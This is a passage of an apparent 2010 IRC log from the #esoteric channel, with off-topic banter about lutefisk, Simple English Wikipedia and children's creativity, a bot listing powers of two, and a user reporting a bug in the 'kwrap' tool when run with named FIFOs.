:coppro!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1269139888 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :that phi proof thing, i wanna use mathematica to do an animation of zooming in on it < 1269139915 0 :xxtjaxx!~andreas@p54B77B09.dip.t-dialin.net JOIN :#esoteric < 1269140002 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :alise, hows life < 1269140015 0 :xxtjaxx!unknown@unknown.invalid PRIVMSG #esoteric :hm mine is fine... < 1269140018 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1269140019 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :shit < 1269140022 0 :xxtjaxx!unknown@unknown.invalid PRIVMSG #esoteric :just very bored < 1269140036 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :this is a programming channel not esoterica/magic < 1269140039 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :for the record. < 1269140052 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :sulfur, btw, is awesome: http://en.wikipedia.org/wiki/File:Burning-sulfur.png < 1269140075 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :alise: why shit? :\ < 1269140116 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I am into esoterica < 1269140147 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :secret of the cube. < 1269140174 0 :xxtjaxx!unknown@unknown.invalid NICK :wicket < 1269140217 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: the mathematica keygen has ANIMATED MATHEMATICS-LOOKING LOGOS WHOA < 1269140223 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise pm < 1269140227 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and in the status bar, "I am ready" alternates gray/black < 1269140232 0 :wicket!unknown@unknown.invalid PART #esoteric :? < 1269140233 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lol keygens rule < 1269140330 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :What rules is tarballs of source code. < 1269140349 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :agreed < 1269140825 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :muhuhuha < 1269140848 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :the mathematica installer is so awesome < 1269140850 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's just like, hey dude < 1269140851 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MATHEMATICS < 1269140853 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i know right? < 1269140928 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :i'm applying to GSoC < 1269140988 0 :songhead95!unknown@unknown.invalid QUIT :Quit: songhead95 < 1269141066 0 :songhead95!~jay@c-75-67-0-54.hsd1.ma.comcast.net JOIN :#esoteric < 1269141097 0 :pikhq!unknown@unknown.invalid QUIT :Quit: Lost terminal < 1269141133 0 :pikhq!~pikhq@75-106-100-139.cust.wildblue.net JOIN :#esoteric < 1269141636 0 :songhead95_!~jay@c-75-67-0-54.hsd1.ma.comcast.net JOIN :#esoteric < 1269141637 0 :songhead95!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269141637 0 :songhead95_!unknown@unknown.invalid NICK :songhead95 < 1269142662 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1269142695 0 :alise!~alise___@212.183.140.54 JOIN :#esoteric < 1269143438 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION was happier when he believed that "chakra" was something completely made up by the writers for "Avatar: The Last Airbender"
< 1269143500 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Intel's new processors "boost performance automatically" < 1269143527 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :... does that mean that it has speedstep, and defaults to a lower speed than max, making you go "wow that's fast!" when it actually does increase speed? < 1269143607 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :sgeo haha < 1269143622 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :No, clearly what it does is it uses a better CPU architecture and JITs x86. < 1269143634 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yeah it's called microcode < 1269143662 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: No, I mean a full-blown, heavy-weight, optimising JIT compiler. < 1269143726 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :This particular place in AW has pictures of naked ladies, with bodypaint. One for each astrological symbol < 1269143734 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I have.. mixed feelings about this < 1269143742 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :NAKED LADIES < 1269143807 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: you seem to be disturbed. i suggest some etheral oils to clear up your third eye chakra. < 1269143839 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I suggest some caustic materials. < 1269143842 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Might I suggest lutefisk? < 1269143846 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Preferbaly unwashed? < 1269143848 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :what where? < 1269143880 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :unwashed lutefisk? how unhygienic. < 1269143889 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION doesn't even know what lutefisk is
< 1269143916 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :OTHER THAN BOTTLED DELICIOUSNESS < 1269143932 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the bottledness is _pure_ slander, i tell you. < 1269143988 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :or should that be purée slander... < 1269144010 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Purée d'slander. < 1269144011 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Delicious. < 1269144129 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :s is not a vowel, Gregor < 1269144157 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: The washing of lutefisk is to make it edible. < 1269144169 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Lst I chsked, 's' is a vswl. < 1269144173 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It is too caustic to eat otherwise. < 1269144186 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: shush, you < 1269144240 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: well it's not in french < 1269144276 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Lutefisk is dried fish soaked in water for 6 days, then a solution of water and lye for 2 days, then washed in water for 6 days. < 1269144293 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Lots and lots of lye. < 1269144302 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :At the end of the lye period, it has a pH of ~11. The washing is to make it not eat your flesh off. < 1269144302 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Delyecious < 1269144314 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm indeed the french don't have sl- do they? should probably be élander < 1269144338 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :`translatefromto en fr slander < 1269144340 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :purée d'elandre < 1269144341 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :calomnie < 1269144349 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :`translatefromto en fr of slander < 1269144351 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :de la calomnie < 1269144355 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Also, silver should be avoided when consuming it. The lutefisk will eat the silver. < 1269144359 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :`translatefromto en fr purée of slander < 1269144361 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Purée de calomnie < 1269144425 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :The lutefisk will eat the silver. < 1269144443 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :nooga: Yes, lutefisk is caustic. < 1269144455 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :In Soviet Russia, food eat YOU! < 1269144509 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :http://fc05.deviantart.net/fs70/f/2009/363/d/a/Nordics_like_Fish_by_humon.jpg < 1269144537 0 :Asztal!unknown@unknown.invalid QUIT :Read error: Operation timed out < 1269144585 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :i don't want to know how they invented that food < 1269144598 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :The shark is a real thing. < 1269144604 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :yep < 1269144615 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :The rotting process gets rid of the poison. < 1269144617 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Although I believe it to be more of a folk food than something real people actually eat :P < 1269144626 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Something that has been made six times ever, and got a reputation. < 1269144652 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :probably < 1269144657 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: It's made a bit more than that. But, it's one of those "delicacy" things. < 1269144661 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :haha < 1269144678 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :think of all the starving kids in china who don't have rotting sea life to eat < 1269144682 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Iceland dictates that it can only be made some number of miles away from civilization, because of the stench... < 1269144688 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :but i heard that they sell small pieces of rotten shark in grocery stores on iceland < 1269144734 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :and they have competitions in eating that and the winner is the one who pukes last (usually the sheriff) < 1269144789 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1269144827 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :in ancient they had this sauce made from rotten fish fragments < 1269144836 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :`addquote think of all the starving kids in china who don't have rotting sea life to eat < 1269144845 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :141| think of all the starving kids in china who don't have rotting sea life to eat < 1269144902 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :they fermented it in big pools that stink even now < 1269144914 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :ancient rome *\ < 1269144936 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :huh, and here I thought this chan was just esoteric programming! < 1269144954 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :hahaha < 1269145179 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :No, that's just the nominal purpose of the channel. < 1269145190 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :We aren't on topic all that often. :P < 1269145576 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :you are of course free to create an esolang based on rotten fish if you like. < 1269145587 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :yay < 1269145658 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Oh boy! < 1269145818 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://simple.wikipedia.org/wiki/Zero special number < 1269145880 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :gypsy fish < 1269145893 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: 零, eh? < 1269145904 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(now *there's* a bitch way of writing a number) < 1269145908 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :"Wikipedia does not yet have an article with this name." < 1269145924 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh wait < 1269145952 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION leaves out the "special number" part
< 1269145970 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :too bad the article name is now less interesting < 1269146020 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :meh < 1269146093 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :simple wikipedia is soooo stupid < 1269146154 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :coppro: That's because Simple English is such a stupid conlang. < 1269146160 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1269146161 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1269146318 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :It is not double plus good. < 1269146318 0 :nooga!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269146357 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :"If there are zero things, there are not any things. There are none." < 1269146363 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Wow. < 1269146380 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I thought there was a distinction between "simple English" and "English for the simple" < 1269146405 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :"integral is part of the Academic Word List. It is important for students in college and university." < 1269146435 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I know it's important to me. < 1269146557 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it's an integral concept < 1269146644 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric : * In symbols: < 1269146644 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :43 ÷ 0 has no answer. < 1269146746 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION cant' find anything interesting on demonstrations.wolfram.com
< 1269146771 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :"How the Proton and Neutron Got Their Masses" sounds like a Rudyard Kipling story < 1269146917 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: "Simple English" is an auxlang conlang constructed by simplifying English. < 1269146922 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It possesses some 1,000 words. < 1269146926 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: I am aware. < 1269146932 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Okay. < 1269146934 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: But "simple English" still shouldn't be "English for simpletons" < 1269146948 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :In fact, that's WHY simple English shouldn't be English for simpletons. < 1269146958 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yuh. < 1269146974 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :what Gregor is saying < 1269146984 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :WHAT YOU SAY? < 1269146984 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :is that simple English should just be English with all the hard words taken out < 1269146993 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :rather than treating the reader like an idiot < 1269147018 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :More or less. It's for non-native speakers, not children :P < 1269147051 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :(Yes, children are idiots) < 1269147063 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Also, observe this "Chinese hand sign": http://simple.wikipedia.org/wiki/One < 1269147084 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION was not an idiot as a child
< 1269147095 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION was
< 1269147103 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Children are idiots. I decree it. < 1269147110 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I'm not sure if I was an idiot, but I was insufferably annoying. < 1269147112 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :And that's just as bad. < 1269147203 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I'm still insufferably annoying < 1269147221 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Oh pooppy, you're OK! :P < 1269147229 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :^^^ Just an excuse to call you "pooppy" < 1269147296 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :... < 1269147385 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :augur < 1269147393 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :sup < 1269147477 0 :songhead95!unknown@unknown.invalid QUIT :Quit: songhead95 < 1269147574 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :soup < 1269147668 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :NO SOUP FOR YOU < 1269147760 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :actually that was quite amazing timing < 1269147771 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :today is now sunday, and at the Flat Planet Cafe, sunday has no soup of the day < 1269147780 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the menu says, under soup of the day for sunday, "NO SOUP FOR YOU" < 1269147785 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1269147952 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: yes you were < 1269147962 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :Gregor was too < 1269148042 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :children are decent at learning certain things, but they have no creativity, they have no concentration, they have no insight. < 1269148047 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i love kids, wish i had some < 1269148082 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :kids are very creative < 1269148083 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :maybe i'll wait a few years to see if i grow some common sense < 1269148085 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :just not when you want them to be < 1269148119 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i've never a kid do something creative < 1269148132 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :*heard < 1269148196 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :whaaat < 1269148253 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :woooooot < 1269148318 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :in fact, I'd say kids are really creative when they're young, but have it knocked out of them by their parents. As adults, they try and regain some of that creativity, but do not always succeed < 1269148386 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i've heard people say kids are creative when they misunderstand how language constructs work < 1269148398 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :can't really come up with other examples, maybe you can < 1269148425 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :let me warn you, no matter how good they are, i will disagree cuz i'm never wrong. < 1269148807 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1269148837 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :parents discourage creativity? i thought they're like "aww my kid's genius" < 1269148851 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :nah, not like that < 1269148852 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :more generally < 1269148865 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :kids find all sorts of silly and crazy things to do < 1269148867 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :and get told off < 1269148874 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :well right < 1269148907 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :most parents suck anyway based on what i've seen, i guess you get tired of doing the job right after a few years < 1269148924 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :It takes a lot of effort < 1269149066 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :or, maybe it's really easy and people just hate their kids, have you considered that possibility < 1269149091 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Definitely the former < 1269149138 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :maybe, maybe < 1269149163 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i'm just trying to open your eyes to worse points of view < 1269149208 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i think i'm going to pass out involuntarily soon if i don't go to sleep < 1269149218 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :maybe i'll watch south park or something < 1269149314 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :wish i could unsee things, i'd know which series are good, but i wouldn't actually remember what happens < 1269149336 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i mean every series is good but it's still really scary to try a new one out < 1269149346 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i mean what if < 1269149420 0 :Oranjer!unknown@unknown.invalid PART #esoteric :? < 1269149493 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :bye oranjer < 1269149501 0 :oklokok!unknown@unknown.invalid NICK :oklofok < 1269151465 0 :oklofok!unknown@unknown.invalid NICK :oklopol < 1269152345 0 :fax!unknown@unknown.invalid QUIT :Quit: Lost terminal < 1269153336 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :| < 1269153337 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :|| < 1269153339 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :|||| < 1269153343 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :|||||||| < 1269153350 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :|||||||||||||||| < 1269153360 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :|||||||||||||||||||||||||||||||| < 1269156564 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :lament < 1269156584 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :stop this before it gets out of hand < 1269158399 0 :clog!unknown@unknown.invalid QUIT :ended < 1269158400 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1269159195 0 :asiekierka!asiekierka@078088180066.elblag.vectranet.pl JOIN :#esoteric < 1269159196 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :hi < 1269159202 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ho < 1269160595 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1269162566 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Good night < 1269163015 0 :Gracenotes!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1269163604 0 :AnMaster_!unknown@unknown.invalid NICK :AnMaster < 1269163782 0 :Gracenotes!~person@wikipedia/Gracenotes JOIN :#esoteric < 1269164274 0 :nooga!~nooga@86-63-124-134.sta.asta-net.com.pl JOIN :#esoteric < 1269167063 0 :MigoMipo!~migomipo@84-217-5-244.tn.glocalnet.net JOIN :#esoteric < 1269169024 0 :coppro!unknown@unknown.invalid QUIT :Quit: I am leaving. You are about to explode. < 1269169122 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, 2^n ? < 1269169263 0 :fungot!~fungot@momus.zem.fi JOIN :#esoteric < 1269169275 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :^pow2 < 1269169276 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :1 2 4 8 16 32 64 128 256 512 1024 2048 4096 8192 16384 32768 65536 131072 262144 524288 1048576 2097152 4194304 8388608 16777216 33554432 67108864 134217728 268435456 536870912 1073741824 2147483648 42949672 ... < 1269169286 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Seems to match!1 < 1269170721 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1269171195 0 :nooga!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269171218 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1269171446 0 :nooga!~nooga@093105098174.pila.vectranet.pl JOIN :#esoteric < 1269172261 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, match what? < 1269172268 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh that yeah < 1269172312 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, it could be some other series, involving a floor() function for example < 1269172318 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so it only looks the same at the start < 1269172324 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and then diverges later < 1269173222 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Sure; "Search: 1, 2, 4, 8, 16, 32 < 1269173225 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Displaying 1-10 of 175 results found." < 1269173338 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :There's, for example, "Sum_{ k = 0..5 } C(n,k)" (A006261), which goes "1, 2, 4, 8, 16, 32, 63, 120, 219, ..." < 1269173451 0 :MigoMipo!unknown@unknown.invalid NICK :MigoMipo_Zwei < 1269173454 0 :MigoMipo_Zwei!unknown@unknown.invalid NICK :MigoMipo < 1269173481 0 :Leonidas_!unknown@unknown.invalid NICK :Leonidas < 1269173639 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I was going to add "or the unique degree-5 polynomial determined by the points (0,1), (1,2), (2,4), ..., (5,32)" but that seems to be the same sequence as above. < 1269173725 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :octave:9> polyval(polyfit(0:5,[1 2 4 8 16 32],5),3:9) < 1269173726 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :ans = < 1269173726 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :8.0000 16.0000 32.0000 63.0000 120.0000 219.0000 382.0000 < 1269173737 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :ah, octave < 1269173767 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :once i got kicked out from a lab for using octave instead of matlab < 1269173772 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :can you imagine? < 1269173787 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That sounds very ideological. < 1269173858 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Or some other /^id/ words. < 1269173876 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :probably the teacher felt bad because he couldn't say anything smart about that because it was LINUX AND OPEN SOURCE < 1269173929 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :and my mates were curious about white letters on black screen :D < 1269173959 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Yes, having white text on black screen is hacking, that's well-known. < 1269173963 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1269173977 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I seem to remember one such case from EFF's archives. < 1269174399 0 :deschutron!~alex@219-90-177-163.ip.adam.com.au JOIN :#esoteric < 1269174925 0 :Phantom_Hoover!~chatzilla@cpc4-sgyl29-2-0-cust108.sgyl.cable.virginmedia.com JOIN :#esoteric < 1269175003 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :deschutron: Is kwrap meant to be used with FIFOs? < 1269175105 0 :deschutron!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1269175116 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Good. < 1269175140 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :The bug occurred when I made 6 FIFOs, then ran kwrap with the names as the arguments. < 1269175242 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :kwrap repeatedly printed the contents of the virtual registers repeatedly, until I cancelled it. < 1269175261 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :After that, the tab-completion in zsh went mad, as did ls. < 1269175275 0 :deschutron!unknown@unknown.invalid PRIVMSG #esoteric :hmmm < 1269175282 0 :deschutron!unknown@unknown.invalid PRIVMSG #esoteric :what were the commands you used? < 1269175302 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :mkfifo tok{0..2} fromk{0..2} < 1269175312 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :That worked as expected. < 1269175327 0 :deschutron!unknown@unknown.invalid PRIVMSG #esoteric :ok < 1269175362 0 :deschutron!unknown@unknown.invalid PRIVMSG #esoteric :and then? < 1269175368 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Then ./kwrap tok0 fromk0 tok1 fromk1 tok2 fromk2 < 1269175424 0 :deschutron!unknown@unknown.invalid PRIVMSG #esoteric :and then kwrap went haywire? < 1269175430 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1269175472 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :As I said, zsh's tab completion then started giving random junk when I tried to check the source for what had gone wrong, and ls also output random junk. < 1269175519 0 :deschutron!unknown@unknown.invalid PRIVMSG #esoteric :it might have output a control character, putting the terminal in a weird mode... < 1269175539 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :No, it persisted when I opened a new terminal. < 1269175554 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :And when I closed all open terminals and tried again. < 1269175565 0 :deschutron!unknown@unknown.invalid PRIVMSG #esoteric :i see < 1269175661 0 :deschutron!unknown@unknown.invalid PRIVMSG #esoteric :i tried the commands you said. kwrap said "Error 14 trying to run new kwrap instance." The error number comes from execv(). < 1269175670 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :I have since deleted the (thankfully separate) directory containing kwrap, and nothing else seems to have been affected. < 1269175671 0 :deschutron!unknown@unknown.invalid PRIVMSG #esoteric :there were no leftover kwrap processes afterwards < 1269175683 0 :deschutron!unknown@unknown.invalid PRIVMSG #esoteric :is your terminal still screwed up? < 1269175687 0 